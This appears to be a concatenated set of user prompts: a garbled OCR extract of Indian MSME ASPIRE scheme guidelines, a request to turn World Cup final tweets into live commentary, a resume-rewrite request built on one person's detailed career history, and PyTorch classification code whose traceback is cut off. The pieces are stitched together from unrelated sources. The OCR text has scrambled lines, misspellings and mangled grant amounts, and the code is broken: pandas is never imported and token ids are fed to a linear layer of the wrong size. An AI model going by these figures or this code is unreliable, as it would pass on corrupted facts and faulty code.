micro-enterprise creation. \n• To skill, up-skill, re-skill unemployed, existing self-employed/ wage earners in new technologies. \n• To provide skilled human capital to nearby industrial clusters and promote innovations for \nstrengthening the competitiveness in the MSME sector \n3. Functions of LBI: \n• To conduct outreach programs to create awareness about the initiative and on-board prospective \nbeneficiaries. \n• Design and conduct incubation programs \nenterprise creation. \n• To offer varied support services like \ncompliances, Trademarks, etc. \n• To offer advisory services to the existing \nthem scalable. \nin the fonn of workshops to facilitate new micro\x02financial, legal, product designing, accreditation, \n& informal enterprises to formalize them and make \n• To facilitate funding for micro-entrepreneurs by leveraging various Gol/State Government \nschemes and engaging with financial institutions. \n• To provide hands-on training to trainees by simulating the industrial processes on the plants & \nmac1inefies \n• To create a conducive ecosystem for promoting entrepreneurship and generating employment by \npartnering with local entities catering to the upstream and downstream activities of the chosen \nthrust area. \n• To make provision for using the facility at the Livelihood Business Incubation centre for \ndevelopment of product prototypes. \n4. Eligibility for proposal submission \n• Any agency/institution of Government of IndiaJ State government or; existing training centres \nunder Ministries/Departments of Government of India/State Government, Industry Associations, \nAcademic Institutions. \n• Any not-for-profit private institutions with experience in succcsfully executi g incubation and/or \nskill development programs may be eligible to set up an LBI. \nContd. Page 2/- \n-2- \n5. Submission of Proposal \nThe applicant organization will select a Mentor Institute and upload the proposal through the \nselected Mentor Institute as per the prescribed format online at www.aspire.msme.gov.in \nTill such time, the online portal is fuliy developed and activated, the proposals in soft copy may \nbe sent by the applicant organization to the Mentor Institute and subsequently to the Ministry to \njs.arinic.in. The list of the designated Mentor Institutes along with their contact details will be \navailable on the portal www. aspire.msme.gov.in. \n6. Institutional Arrangement \nWith the growing network of LBIs and the expanded scope thereof, the following scheme \nmanagement structure will be followed. \n6.1 Scheme Steering Committee (SSC) \nA Scheme Steering Committee (SSC) is constituted under the chairpersonship of Secretary \n(MSME) (Annexure 1). The SSC may consist of representatives from other Central Ministries \nunder the Government of India, or expert organizations as members! special invitees, depending \non the functional needs. The SSC will consider the proposals of the Host/Applicant Institutions \nfor setting up of Livelihood Business Incubator (LBI), submtted through s4entor Institutes \n(MIs), and shall extend approval based on satisfying all the parameters set up by the SSC. \n6.2 Mentor Institutes (MI) \nMentor Institutes (MIs) are national/state level institutions with expertise and on-field experience \nin the maj or sub-sectors of the rural industries with a proven track record of at least five (5) years \nin designing and imparting incubation and skill development programs to promote \nentrepreneurship. MIs will assist and handhold the applicant/Host institutes & the LBIs in their \nday-to-day operations. The MTs will also act as a SPOC between the Ministry and the Host \nInstitute/LBI, The institution could be any of the following constitution: \no A Society registered under the Societies Registration Act, 1860. \no A Co-operative Society under an appropriate statute. \no A Section 8 Company under the Companies Act, 2013 (18 of 2013); or \no A Trust. \no Any Central/State government organization. \no Any other agency with the approval of the Scheme Steering Committee of ASPIRE. \n6.2.1 Appointment of Mentor Institutes \nThe detailed eligibility conditions & procedure for selection for Mentor Institutes has been \nenclosed as Annexure 2. SSC shall take a final decision for approval of designated Mentor \nInstitutes. The performance of the MI will be monitored both on quantitative &qualitative \naspects by the SSC. In case of a significant shortfall in the prcgress, the sur port may also be \nterminated mid-term with the approval of SSC. \nThe applications should be sent over an email to js.ari@nic.in. \nContd. Page 3/- \n-3- \n6.2.2 Role of Mentor Institutes \n• Identification of prospective LBIs with relevant experience in skill development and running \nincubation programs, aligned to the local need. \n• MIs may take the assistance of local MSME-DIs and Science and Technology Council members \nin the identification of such proposals. \n• Assisting the Applicant/Host Institutes in preparing the Detailed Project Report (DPR) based on \nthe regional analysis of the industrial landscape, potential skill gap in the region, and the \neconomic strengths, etc. of the region. \n• MI to submit the DPRs to the MoMSME for approval only aftet ensuring the following: \na. Ensuring the DPRs have been created based on the format provided under the scheme guidelines \nand is uploaded to the portal. \nb. Execution of agreement on contribution in the case of eligible private applicants. \nc. Ensuring availability of all necessary compliance documents, and space (5000 sq ft) with the HI \nto set up the proposed LBIs \n• MI shall be responsible for timely disbursement of funds to the HI and ensure submission of \naudited UCs. \n• Providing technical inputs for selection of machinery and ensuring timely procurement of the \nsame. \n• Assisting the His in hiring a dedicated and specialized team of resources to o rate the LBIs. \n• Conducting regular capacity workshops to improve the day-to-day operations and hence, the \nperformance of the LBI. \n• Assisting the HIs in designing the right incubation programme to be implemented by the \nproposed LBI. \n• To maintain and share with the MoMSME, a database of the incubatees. \n• To create and engage an ecosystem for the LBIs enabling micro-enterprise creation. \n• Monitoring & evaluating the performance of the LBI against the target output and outcome \nthrough VCs and physical visits and advising the LBIs on course corrections. \n• To act as a SPOC for grievance redressal for the LBIs. \n• To ensure the Monthly and Quarterly Progress Report is regularly shared with the MoMSME \nalong with any other information sought by the MoMSME. \n• Creating and updating a working plafform for recording and sharing the best practices for the \nLBIo under its umbrella. \n• Creating a platform for converging with various GollState Government schemes to facilitate the \ncreation of micro-enterprises and employment generation. \n• Providing all necessary support for the implementation of the scheme by the His. \n• Any other tasks assigned by the MoMSME. \n• All MTs shall have to act diligently to ensure compliance to all Rules and Regulations, as \nrequired, for the proposals in order to obtain final approval from the SSC. \n6.3 Host Institutes (HI) \nHost Institutes are eligible applicant institutions where the LBIs will be hosted on approval by \nthe SSC. \nContd. Page 4/- \n-4- \n6.3.1 Role of a Host Institute \nConduct an analysis of the region by studying the industrial landscape, the economic strengths of \nthe region, identifying potential capability (skill) gap, etc. to select a thrust area for the proposed \nLBI. \n• Preparation of the Detailed Project Report for the proposed LBI as per the format provided in the \nguidelines with assistance from the Mentor Institutes. \n• Ensure timely procurement of Plant & Machinery as per the proposal for the LBI. \n• Recruitment of dedicated human resources for the operation of the LBI. \n• Conduct outreach programs/drives to mobilize incubatees for the LBI. \n• Tracking and maintaining a detailed database of the incubatees from on-boarding to employment. \n• To create, engage and maintain a working relationship with the stakeholders in the ecosystem like \nnearby academic institutions, Industries, successful entrepreneurs of the area, Financial \nInstitutions, vendors, and suppliers, etc. \n• To seek convergence from various Gol, State Government, and other schemes to facilitate the \ncreation of micro-enterprises and employment generation. \n• Operation & Maintenance (O&M) of assets created under th project. \n• Responsible for furnishing the Utilization Certificate (UCs as per the GFR Norms) and sharing \nmonthly, quarterly progress reports with the respective MI. \n7. Appraisal and Approval Process: \ni. The proposals will be appraised based on their strength in proi.oting liveliho' i-based enterprises \ntaking into account the locally available resources and local needs. \nii. A Project Screening Committee (PSC) shall be constituted under each Mentor Institute (M1) \nchaired by the designated head of the Ml for management and implementation of the scheme. The \nPSC will be responsible for evaluating the DPR prepared by the Host Institutes for setting up the \nLBI based on the prescribed format. Once approved, the DPR may be forwarded to the \nMoMSME for consideration and final approval by the SSC. The committee should constitute of \ndesignated head of the MI, experts on livelihood initiatives, incubation programs, representatives \nof financial institutions, etc. \n8. Quantum of Assistance: \n8.1 Expenditure for procurement of Plant & Machineries. \na. In respect of LBIs to be set up by any Institution/agency of GOI/State Govt. on its own or by any \nof the agency/organization of the M/o MSME, one-time grant of 100% of cost of Plant & \nMachinery other than the land and infrastructure or an amount up to 1NR 100 Iakh, whichever is \nless to be provided. \nb. In case of LBIs to be set up by Private applicants, a one-time grant of 75% of cost of Plant & \nMachinery other than the land and infrastructure or 1NR 15,00 lakhs, whichever is less to be \nprovided. \nc. A total number of 125 such centres are being targeted to be set up under this component between \n2021-22 to 2025-26. \nContd. Page 5!- \n-,- \n8.2 Operaticnal Expenditure: \na. A one-time grant of maximum upto 100 lakhs for the purpose of extending support for running \nday to day operations and not limited to the following: \ni. Hiring a dedicated &specialized team of resources. \nii. Conducting awareness & outreach programs, on-boarding of iticubatees. \niii. Designing & executing the incubation programs in the form of workshops for creation of formal \nmicro-enterprise creation. \niv. To offer support services like regulatory services (FSSAI), GST, Design Support, etc. & engage \nwith various service providers. \nv. Advisory services to the existing & informal enterprises for formalization. \nvi. Procurement of raw materials for hands-on training. \nvii. Maintenance of the plants and machinery." +"Describe as reporting live a current event in 3 lines, what is happening right now using the following tweets :\n\nsourceText Time\nWhat a goal , beautiful 2-0 #FIFAWorldCup argetina dominating , france are clueless 15:36:49.0000000\n?????? beautiful goal #ARGFRA 15:36:51.0000000\nThat was just a beautiful team goal for Argentina’s 2nd 15:35:56.0000000\nArgentina 2nd goal was beautiful ?? 15:36:50.0000000\nArgentina second goal is pure class omg . Beautiful futbol ????? 15:36:38.0000000\nWhat a beautiful counter attack and fantastic goal!! #ArgentinaVsFrance 15:36:33.0000000\nThat goal from Argentina was why they call it the Beautiful Game 15:36:53.0000000\nbeautiful second goal Argentina ???? 15:36:56.0000000\nWow that was beautiful …what a goal #ArgentinaVsFrance 15:36:37.0000000\nBeautiful team goal by Argentina 15:36:51.0000000\nWhat a beautiful goal #ArgentinaVsFrance #FIFAWorldCup 15:36:26.0000000\nThat's a beautiful goal ???''#ARGFRA #FIFAWorldCup 15:36:52.0000000\nBeautiful team goal Argentina ???? 15:36:21.0000000\nAngel Fucking Di Maria????????????'Oh my God'This is absolutely beautiful '#ArgentinaVsFrance #FIFAWorldCup 'Goal of the tournament in terms of team work 15:36:28.0000000\nGOOOOOOOAAAL!!! ''Di Maria doubles the lead for Argentina. What a beautiful team goal. ''Argentina ???? 2???0?? France ???? ''#FifaWorldCup 15:36:50.0000000\nThat's a beautiful goal against one of the best teams in the world. Bravo, Argentina! 15:36:56.0000000\nBeautiful goal #ArgentinaVsFrance #FIFAWorldCup argies been all over France. Thoroughly deserve the 2 nil lead 15:36:48.0000000\nBeautiful Football. Beautiful Goal. THATS WHY YOU LOVE THIS BEAUTIFUL GAME! What a counter. ARGENTINA HAVE ONE HAND ON THE TROPHY!'#FIFAWorldCup 15:36:42.0000000\nDi Maria SCOOOOOOOOOORESSSS''2-0''Beautiful goal.''#WorldCupFinal 15:36:36.0000000\nDi Maria hands Argentina another goal, what a beautiful square play. Text book execution and they punish France. 15:36:56.0000000\nWhat a fucking goal'Absolutely beautiful ?? '#ArgentinaVsFrance #FIFAWorldCup 15:36:59.0000000\nbeautiful counter attacking goal from Argentina. France need to find a way to get Mbappe involved. 15:36:52.0000000\nThat was gorgeous wow. That was an amazing goal. I don't even want Argentina to win but I can't deny that was beautiful 15:36:36.0000000\nThat goal was beautiful ???? #WorldCupFinal 15:36:59.0000000\nArgentina came out to play. That goal was beautiful. What a performance by them so far 15:36:42.0000000\nNow that was a beautiful and well deserved goal! France is done. #WorldCupFinal 15:36:51.0000000\nBeautiful goal from Argentina!!??????????? #FIFAWorldCup 15:36:27.0000000\nBeautiful goal Argentina ???? 15:36:39.0000000\nWhat a beautiful set up & goal by Argentina!!! 15:36:29.0000000\nWHAT A BEAUTIFUL GOAL!!! #ARGFRA #WorldCupFinal #ArgentinaVsFrance 15:36:33.0000000\nBeautiful goal.'#ARGFRA 15:35:54.0000000\nBeautiful Beautiful goal. France have not got going... 15:36:12.0000000\nWhat a ball by MacAllister!! Beautiful goal #BHAFC #ArgentinaVsFrance 15:36:52.0000000\nWhat a beautiful goal by Argentina #ArgentinaVsFrance 15:36:01.0000000\nBeautiful goal by Argentina to be fair 15:36:50.0000000\nDi Maria, beautiful goal ''#Argentina #FIFAWorldCupFinal 15:36:41.0000000\nwow that passing and goal was beautiful ''Argentina is not playing today ''#FIFAWorldCup #Arg 15:36:55.0000000\nOooof. Worst part is -- it's a beautiful goal and well deserved. #ArgentinaVsFrance 15:36:27.0000000\nDi Maria with a beautiful goal and Argentins double their lead. France is not themselves today. #ARGFRA 15:36:22.0000000\nJust beautiful football. Beautiful goal #ArgentinaVsFrance #WorldCupFinal 15:36:32.0000000\nArgentina deserves this. Team work and a goal. That is just beautiful ????????. #Yearofthegoat 15:36:40.0000000\nBeautiful goal Argentina 15:36:04.0000000\nWhat a beautiful goal by Argentina Jesus Christ 15:36:09.0000000\nBeautiful goal #ArgentinaVsFrance 15:36:19.0000000\nBeautiful goal. ??? Fantastic. #ArgentinaVsFrance #FIFAWorldCup #FIFAWorldCupFinal 15:36:13.0000000\nBeautiful goal by Argentina 15:36:10.0000000\nBeautiful goal?????? #ArgentinaVsFrance 15:36:10.0000000\nBeautiful goal from Argentina. 15:36:15.0000000\nWhat a beautiful goal! #ArgentinaVsFrance 15:36:08.0000000\nFucking beautiful SECOND GOAL''LEGGGOOO ARGENTINA ???????? 15:36:55.0000000\nWhat a beautiful goal!!!! #ArgentinaVsFrance 15:36:40.0000000\nBeautiful goal! Just beautiful…. #ARGFRA #WorldCupFinal 15:36:06.0000000\nARGENTINA WHAT A BEAUTIFUL GOAL!!! 15:36:24.0000000\nBeautiful Goal!!!! #ArgentinaVsFrance #FIFAWorldCup #Messi??day 15:36:39.0000000\nBeautiful goal #ArgentinaVsFrance 15:36:57.0000000\nWhat a beautiful goal damnnnn ?? Go on Argentina!!!! 15:36:00.0000000\n2-0! What a beautiful goal! ?? #FIFAWorldCup #ArgentinaVsFrance 15:36:33.0000000\nWhat a beautiful goal #ARGFRA 15:36:11.0000000\nThat was terrific! ''That was absolutely beautiful! ''This goal was fully deserved!!''#FIFAWorldCupFinal #ArgentinaVsFrance #Messi?? 15:36:25.0000000\nBeautiful fucken second goal by Argentina hahahaha omg that was a team goal 15:36:57.0000000\nDamn that was a beautiful sequence for the 2-0 Argentina goal?? 15:36:29.0000000\nThat'Was'BEAUTIFUL FOOTBALL ''WWWWOOOOWWWWW''Look at how they turned a France half chance to a PERFECT Argentine counter and goal!''Whole French Midfield and Defense in straight shambles 15:36:59.0000000\nWhat a beautiful goal that was ???? #ArgentinaVsFrance 15:36:19.0000000\nAbsolutely beautiful goal by Argentina. Perfection. 15:36:40.0000000\nThat’s a beautiful, beautiful goal by Argentina 15:36:45.0000000\nBeautiful goal by Di Maria #ArgentinaVsFrance #FIFAWorldCup 15:36:18.0000000\nTHAT WAS A BEAUTIFUL GOAL FROM ARGENTINA 15:36:49.0000000\nwhat a beautiful goal #ARGFRA 15:36:18.0000000\nCalled it. This one goal was fucking beautiful! #ARGFRA 15:35:55.0000000\nThat goal was BEAUTIFUL #ARGFRA 15:36:19.0000000\nWhat a beautiful Argentina goal. 15:35:56.0000000\nBeautiful Argentina goal!! What a cross!!!! #FIFAWorldCup #ArgentinaVsFrance 15:36:42.0000000\nWhat a beautiful goal by Argentina. #FIFAWorldCup 15:36:55.0000000\nThat was such a beautiful goal, it was seamless and effortless. Messi has one hand on the #WorldCup trophy 2-0 #ArgentinaVsFrance #Qatar2022 15:36:53.0000000\nWhat a beautiful goal! So we’ll played by Argentina. 15:36:58.0000000\nThat was a beautiful goal!! ?? #WorldCupFinal 15:36:29.0000000\nBEAUTIFUL GOAL FROM ARGENTINA WTF 15:36:29.0000000\nYESSS WHAT A BEAUTIFUL GOAL BY ARGENTINA 15:36:29.0000000\nWhat a beautiful goal! One touch football!! Orgasmic play from Argentina ???? 15:36:50.0000000\nOh my word. Argentina deserve the trophy for that goal alone. Absolutely beautiful ?? #WorldCupFinal 15:36:30.0000000\nBeautiful goal in the run of play. Argentina is completely dominating France. 15:36:40.0000000\nThat is a beautiful goal. What a move by Argentina. #ArgentinaVsFrance #FIFAWorldCup 15:36:38.0000000\nThat’s a beautiful and perfect goal for Argentina 15:36:25.0000000\nWhat a beautiful goal, vamos Argentina!!! 15:36:55.0000000\nThat was a beautiful goal! 2-0 Argentina in the 36th minute. 15:36:50.0000000\nDI MARIA WHAT A BEAUTIFUL FUCKING GOAL ARGENTINA WHAT A BEAUTIFUL FUCKING PLAY 15:36:23.0000000\nWhat. A. Beautiful. Goal. #ArgentinaVsFrance #FIFAWorldCup 15:36:54.0000000\nBeautiful second goal for Argentina omg yesss 15:35:56.0000000\nThat was such a beautiful goal for Argentina 15:36:50.0000000\nArgentina ???? what a beautiful goal!!! 15:36:22.0000000\nChampagne football ?? Beautiful team goal ???? #ArgentinaVsFrance 15:36:29.0000000\nThat was a beautiful goal ''Thats a wrap France are no coming back from this 15:36:55.0000000\nBeautiful ball movement by Argentina on that goal''#WorldCupFinal 15:36:59.0000000\nBeautiful second goal.'Just beautiful #ArgentinaVsFrance #WorldCup 15:35:53.0000000\nBeautiful goal! #FIFAWorldCupFinal ???? 15:36:27.0000000\n2-0!!!!!!!!!! Argentina!!!!!!!! What a beautiful goal!!!!!!!!! ????'#FIFAWorldCup #WorldCup 15:36:32.0000000\nWhat a beautiful goal. 'France are asleep 15:36:45.0000000\nBeautiful team goal worthy of the finals #WorldCup 'Argentina deserves to win this better team all game 15:36:57.0000000\nBeautiful goal!!! #WorldCup #ArgentinaVsFrance 15:36:27.0000000\nBeautiful goal. France have been shocking 15:35:58.0000000" +'Rewrite the above response with a focus on my relevant experience and skills listed below: ChairpersonChairperson\nRatana Hapakuku Whānau TrustRatana Hapakuku Whānau Trust\nSep 2020 - Present · 2 yrs 6 mosSep 2020 - Present · 2 yrs 6 mos\nCurrently the chairperson of my Whānau Trust. Duties include chairing meetings, helping to manage portfolios, etc.Currently the chairperson of my Whānau Trust. Duties include chairing meetings, helping to manage portfolios, etc.\nCo-ChairCo-Chair\nNgāti Wairupe raua ko Ngāti Kurī Inc. SocietyNgāti Wairupe raua ko Ngāti Kurī Inc. Society\nApr 2007 - Present · 15 yrs 11 mosApr 2007 - Present · 15 yrs 11 mos\nCivil Rights and Social ActionCivil Rights and Social Action\nI have assisted my hapū with matters relating to treaty claims, genealogy, research, and planning for over a decade now.I have assisted my hapū with matters relating to treaty claims, genealogy, research, and planning for over a decade now.\nPanel MemberPanel Member\nTe Ohu Mana RangatahiTe Ohu Mana Rangatahi\nMay 2013 - Oct 2016 · 3 yrs 6 mosMay 2013 - Oct 2016 · 3 yrs 6 mos\nCivil Rights and Social ActionCivil Rights and Social Action\nThe group was originally a part of the Auckland Council. I was an active member who helped to advocate for rangatahi throughout the wider Auckland region. We facilitated activities such as wananga and workshops. The aim of the group was to improve outcomes for rangatahi.The group was originally a part of the Auckland Council. I was an active member who helped to advocate for rangatahi throughout the wider Auckland region. We facilitated activities such as wananga and workshops. The aim of the group was to improve outcomes for rangatahi.\nKoha Apparel logo\nRegional LeadRegional Lead\nKoha ApparelKoha Apparel\nAug 2021 - Present · 1 yr 7 mosAug 2021 - Present · 1 yr 7 mos\nCivil Rights and Social ActionCivil Rights and Social Action\nKoha Apparel is a not-for-profit, pay-as-you-can retail experience, using repurposed apparel.Koha Apparel is a not-for-profit, pay-as-you-can retail experience, using repurposed apparel.\n"I Have A Dream"\u200b Foundation logo\nMentorMentor\n"I Have A Dream"\u200b Foundation"I Have A Dream"\u200b Foundation\nFeb 2022 - Present · 1 yr 1 moFeb 2022 - Present · 1 yr 1 mo\nChildrenChildren\nI currently volunteer as a mentor for highschool aged rangatahi based in Whangārei.I currently volunteer as a mentor for highschool aged rangatahi based in Whangārei.\nRugby League Northland logo\nAssistant CoachAssistant Coach\nRugby League NorthlandRugby League Northland\nNov 2022 - Present · 4 mosNov 2022 - Present · 4 mos\nChildrenChildren\nI am a volunteer assistant coach for the Northern Swords Rugby League U16 team, competing in the 2023 Shaun Johnson Shield competition.\n\nManaging DirectorManaging Director\nNative Media Limited · Self-employedNative Media Limited · Self-employed\nAug 2018 - Present · 4 yrs 7 mosAug 2018 - Present · 4 yrs 7 mos\nWhangarei, Northland, New ZealandWhangarei, Northland, New Zealand\nNative Media Limited is a full-service marketing agency specialising in business and marketing consultancy. Examples of our clients include the Ministry of Education, Department of Corrections, and other various governmental and non-governmental organisations.Native Media Limited is a full-service marketing agency specialising in business and marketing consultancy. Examples of our clients include the Ministry of Education, Department of Corrections, and other various governmental and non-governmental organisations.\nDepartment of Conservation (DOC) logo\nBoard Member - Northland Conservation BoardBoard Member - Northland Conservation Board\nDepartment of Conservation (DOC)Department of Conservation (DOC)\nJul 2022 - Present · 8 mosJul 2022 - Present · 8 mos\nNorthland, New ZealandNorthland, New Zealand\nI was appointed as a board member of the Northland Conservation Board by the then Minister for Conservation Hon Poto Williams in July 2022. Te Rūnanga Papa Atawhai O Te Tai Tokerau/Northland Conservation Board is the community’s voice in conservation management in the region. The board gives advice to DOC on local conservation matters and carries out important planning roles. A major responsibility of the board is in the development and implementation of the Northland Conservation Management Strategy.I was appointed as a board member of the Northland Conservation Board by the then Minister for Conservation Hon Poto Williams in July 2022. Te Rūnanga Papa Atawhai O Te Tai Tokerau/Northland Conservation Board is the community’s voice in conservation management in the region. The board gives advice to DOC on local conservation matters and carries out important planning roles. A major responsibility of the board is in the development and implementation of the Northland Conservation Management Strategy.\n\nTe Rūnanga Papa Atawhai O Te Tai Tokerau/Northland Conservation BoardTe Rūnanga Papa Atawhai O Te Tai Tokerau/Northland Conservation Board\nWharePR logo\nSenior Business ConsultantSenior Business Consultant\nWharePR · FreelanceWharePR · Freelance\nJun 2021 - Present · 1 yr 9 mosJun 2021 - Present · 1 yr 9 mos\nI currently manage accounts for a boutique PR and Communications agency focussed on assisting Māori businesses and organisations. My duties include drafting internal and external communications plans, media relations, and more.I currently manage accounts for a boutique PR and Communications agency focussed on assisting Māori businesses and organisations. My duties include drafting internal and external communications plans, media relations, and more.\nThe Spinoff logo\nGuest WriterGuest Writer\nThe Spinoff · FreelanceThe Spinoff · Freelance\nMar 2021 - Present · 2 yrsMar 2021 - Present · 2 yrs\nI regularly contribute articles to both The Spinoff and its commercial arm Daylight Creative.I regularly contribute articles to both The Spinoff and its commercial arm Daylight Creative.\nNew Zealand Herald logo\nFreelance Writer / CommentatorFreelance Writer / Commentator\nNew Zealand Herald · FreelanceNew Zealand Herald · Freelance\nJul 2021 - Present · 1 yr 8 mosJul 2021 - Present · 1 yr 8 mos\nColumnist and commentator focussed on Māori issues.Columnist and commentator focussed on Māori issues.\nNorthland Regional Council logo\nKaiawhina Pārongo / Communications AdvisorKaiawhina Pārongo / Communications Advisor\nNorthland Regional Council · ContractNorthland Regional Council · Contract\nNov 2021 - Nov 2022 · 1 yr 1 moNov 2021 - Nov 2022 · 1 yr 1 mo\nWhangarei, Northland, New ZealandWhangarei, Northland, New Zealand\nI work on the Community Engagement team at Northland Regional Council. My role includes acting as Account Lead for Māori Engagement.I work on the Community Engagement team at Northland Regional Council. My role includes acting as Account Lead for Māori Engagement.\nMultimedia JournalistMultimedia Journalist\nNZME · Full-timeNZME · Full-time\nMar 2021 - Jun 2021 · 4 mosMar 2021 - Jun 2021 · 4 mos\nWhangarei, Northland, New ZealandWhangarei, Northland, New Zealand\nA multimedia journalist for the Northern Advoacate covering Māori, health, and general news.A multimedia journalist for the Northern Advoacate covering Māori, health, and general news.\nTVNZ logo\nMultimedia JournalistMultimedia Journalist\nTVNZ · Full-timeTVNZ · Full-time\nOct 2020 - Mar 2021 · 6 mosOct 2020 - Mar 2021 · 6 mos\nAuckland, New ZealandAuckland, New Zealand\nMāori and Pasifika specialist for Re: News.Māori and Pasifika specialist for Re: News.\nRed Bull logo\nCommunications SpecialistCommunications Specialist\nRed BullRed Bull\nOct 2019 - Oct 2020 · 1 yr 1 moOct 2019 - Oct 2020 · 1 yr 1 mo\nAuckland, New ZealandAuckland, New Zealand\nAmplification of Red Bull Media House stories, day-to-day management of RedBull.com, corporate/internal communications, ideation, backend management.Amplification of Red Bull Media House stories, day-to-day management of RedBull.com, corporate/internal communications, ideation, backend management.\nJournalistJournalist\nCook Islands NewsCook Islands News\nFeb 2018 - Sep 2019 · 1 yr 8 mosFeb 2018 - Sep 2019 · 1 yr 8 mos\nRarotonga, Cook IslandsRarotonga, Cook Islands\nWorked full time in the news room as a reporter. Covered various topics including crime, politics, sports, etc. Was then employed on a freelance basis.Worked full time in the news room as a reporter. Covered various topics including crime, politics, sports, etc. Was then employed on a freelance basis.\nVICE Media Asia Pacific logo\nContent WriterContent Writer\nVICE Asia PacificVICE Asia Pacific\nDec 2016 - Mar 2019 · 2 yrs 4 mosDec 2016 - Mar 2019 · 2 yrs 4 mos\nAuckland, New ZealandAuckland, New Zealand\nI was a content writer for VICE, regularly contributing articles, photography, and content ideas. I also hosted panel discussions and helped with strategic partnerships.I was a content writer for VICE, regularly contributing articles, photography, and content ideas. I also hosted panel discussions and helped with strategic partnerships.\nBauer Media Group logo\nEditorial Assistant/Junior WriterEditorial Assistant/Junior Writer\nBauer Media GroupBauer Media Group\nAug 2017 - Nov 2017 · 4 mosAug 2017 - Nov 2017 · 4 mos\nAuckland, New ZealandAuckland, New Zealand\nI was an Editorial Assistant and Junior Writer at New Zealand\'s largest publishing company. I carried out various administrative tasks, such as commissioning, invoicing, and managing stock for Metro and Paperboy magazines. My writing also featured in both of these publications.I was an Editorial Assistant and Junior Writer at New Zealand\'s largest publishing company. I carried out various administrative tasks, such as commissioning, invoicing, and managing stock for Metro and Paperboy magazines. My writing also featured in both of these publications.\nMedia OperatorMedia Operator\nMāori TelevisionMāori Television\nOct 2016 - Dec 2016 · 3 mosOct 2016 - Dec 2016 · 3 mos\nAuckland, New ZealandAuckland, New Zealand\nI was a member of Māori Television\'s core cinetape team. We were in charge of various tasks, including quality control, ingesting raw footage, and other linear and non-linear interactions.I was a member of Māori Television\'s core cinetape team. We were in charge of various tasks, including quality control, ingesting raw footage, and other linear and non-linear interactions.\nStatisticianStatistician\nKahawai ProductionsKahawai Productions\n2012 - 2016 · 4 yrs2012 - 2016 · 4 yrs\nAuckland, New ZealandAuckland, New Zealand\nI was a live sports statistician for a production company in Auckland, New Zealand.I was a live sports statistician for a production company in Auckland, New Zealand.\nSky New Zealand logo\nStatisticianStatistician\nSky New ZealandSky New Zealand\nMay 2012 - Sep 2014 · 2 yrs 5 mosMay 2012 - Sep 2014 · 2 yrs 5 mos\nAuckland, New ZealandAuckland, New Zealand\nWorked for the largest television network in New Zealand as a live sports statistician.' +'import torch\nimport torch.nn as nn\nimport torch.optim as optim\nfrom torch.utils.data import Dataset, DataLoader\nfrom sklearn.metrics import f1\\_score\nfrom tqdm import tqdm\nimport transformers\n\n# Define the MLP model\nclass MLP(nn.Module):\n def \\_\\_init\\_\\_(self, input\\_dim, hidden\\_dim, output\\_dim):\n super(MLP, self).\\_\\_init\\_\\_()\n self.fc1 = nn.Linear(input\\_dim, hidden\\_dim)\n self.fc2 = nn.Linear(hidden\\_dim, output\\_dim)\n \n def forward(self, x):\n x = torch.relu(self.fc1(x))\n x = self.fc2(x)\n return x\n\n# Define the custom dataset\nclass NewsDataset(Dataset):\n def \\_\\_init\\_\\_(self, csv\\_file, tokenizer):\n self.data = pd.read\\_csv(csv\\_file)\n self.tokenizer = tokenizer\n \n def \\_\\_len\\_\\_(self):\n return len(self.data)\n \n def \\_\\_getitem\\_\\_(self, idx):\n text = self.data.iloc[idx][\'text\']\n label = self.data.iloc[idx][\'label\']\n text\\_tensor = torch.tensor(self.tokenizer.encode(text)).long()\n label\\_tensor = torch.tensor(label).long()\n return text\\_tensor, label\\_tensor\n# Define the training function\ndef train(model, device, train\\_loader, optimizer, criterion):\n model.train()\n running\\_loss = 0.0\n for batch\\_idx, (data, target) in enumerate(train\\_loader):\n data, target = data.to(device), target.to(device)\n optimizer.zero\\_grad()\n output = model(data)\n loss = criterion(output, target)\n loss.backward()\n optimizer.step()\n running\\_loss += loss.item()\n train\\_loss = running\\_loss / len(train\\_loader)\n return train\\_loss\n# Define the evaluation function\ndef evaluate(model, device, test\\_loader):\n model.eval()\n y\\_true, y\\_pred = [], []\n with torch.no\\_grad():\n for data, target in test\\_loader:\n data, target = data.to(device), target.to(device)\n output = model(data)\n pred = output.argmax(dim=1)\n y\\_true.extend(target.cpu().numpy())\n y\\_pred.extend(pred.cpu().numpy())\n f1 = f1\\_score(y\\_true, y\\_pred, average=\'macro\')\n return f1\n# Set the device\ndevice = torch.device(\'cuda:0\' if torch.cuda.is\\_available() else \'cpu\')\n\n# Set the hyperparameters\ninput\\_dim = 300 # word embedding size\nhidden\\_dim = 128\noutput\\_dim = 8 # number of labels\nlr = 0.001\nnum\\_epochs = 10\n\n# Load the data\ntokenizer = transformers.RobertaTokenizer.from\\_pretrained(\'roberta-base\', max\\_length=512)\ntrain\\_dataset = NewsDataset(\'train.csv\', tokenizer)\ntest\\_dataset = NewsDataset(\'test.csv\', tokenizer)\ntrain\\_loader = DataLoader(train\\_dataset, batch\\_size=32, shuffle=True)\ntest\\_loader = DataLoader(test\\_dataset, batch\\_size=32, shuffle=False)\n\n# Initialize the model, criterion, and optimizer\nmodel = MLP(input\\_dim, hidden\\_dim, output\\_dim).to(device)\ncriterion = nn.CrossEntropyLoss()\noptimizer = optim.Adam(model.parameters(), lr=lr)\n\n# Train the model\nfor epoch in range(num\\_epochs):\n train\\_loss = train(model, device, train\\_loader, optimizer, criterion)\n f1 = evaluate(model, device, test\\_loader)\n print(\'Epoch: {} | Train loss: {:.4f} | F1 score: {:.4f}\'.format(epoch+1, train\\_loss, f1))\n\nToken indices sequence length is longer than the specified maximum sequence length for this model (574 > 512). Running this sequence through the model will result in indexing errors\n---------------------------------------------------------------------------\nRuntimeError Traceback (most recent call last)\nInput In [35], in ()\n 93 # Train the model\n 94 for epoch in range(num\\_epochs):\n---> 95 train\\_loss = train(model, device, train\\_loader, optimizer, criterion)\n 96 f1 = evaluate(model, device, test\\_loader)\n 97 print(\'Epoch: {} | Train loss: {:.4f} | F1 score: {:.4f}\'.format(epoch+1, train\\_loss, f1))\n\nInput In [35], in train(model, device, train\\_loader, optimizer, criterion)\n 40 model.train()\n 41 running\\_loss = 0.0\n---> 42 for batch\\_idx, (data, target) in enumerate(train\\_loader):\n 43 data, target = data.to(device), target.to(device)\n 44 optimizer.zero\\_grad()\n\nFile C:\\anaconda\\lib\\site-packages\\torch\\utils\\data\\dataloader.py:628, in \\_BaseDataLoaderIter.\\_\\_next\\_\\_(self)\n 625 if self.\\_sampler\\_iter is None:\n 626 # TODO(https://github.com/pytorch/pytorch/issues/76750)\n 627 self.\\_reset() # type: ignore[call-arg]\n--> 628 data = self.\\_next\\_data()\n 629 self.\\_num\\_yielded += 1\n 630 if 